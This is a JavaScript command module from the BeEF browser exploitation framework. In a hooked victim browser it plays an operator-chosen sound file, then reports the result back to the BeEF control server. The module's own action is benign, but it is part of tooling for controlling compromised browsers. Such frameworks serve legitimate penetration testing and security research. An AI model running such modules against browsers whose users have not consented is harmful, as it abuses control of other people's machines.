Files
beef/modules/browser/play_sound/command.js
2025-12-26 19:18:05 +10:00

19 lines
708 B
JavaScript

//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var url = "<%== @sound_file_uri %>";
try {
var sound = new Audio(url);
sound.play();
beef.debug("[Play Sound] Played sound successfully: " + url);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success());
} catch (e) {
beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());
}
});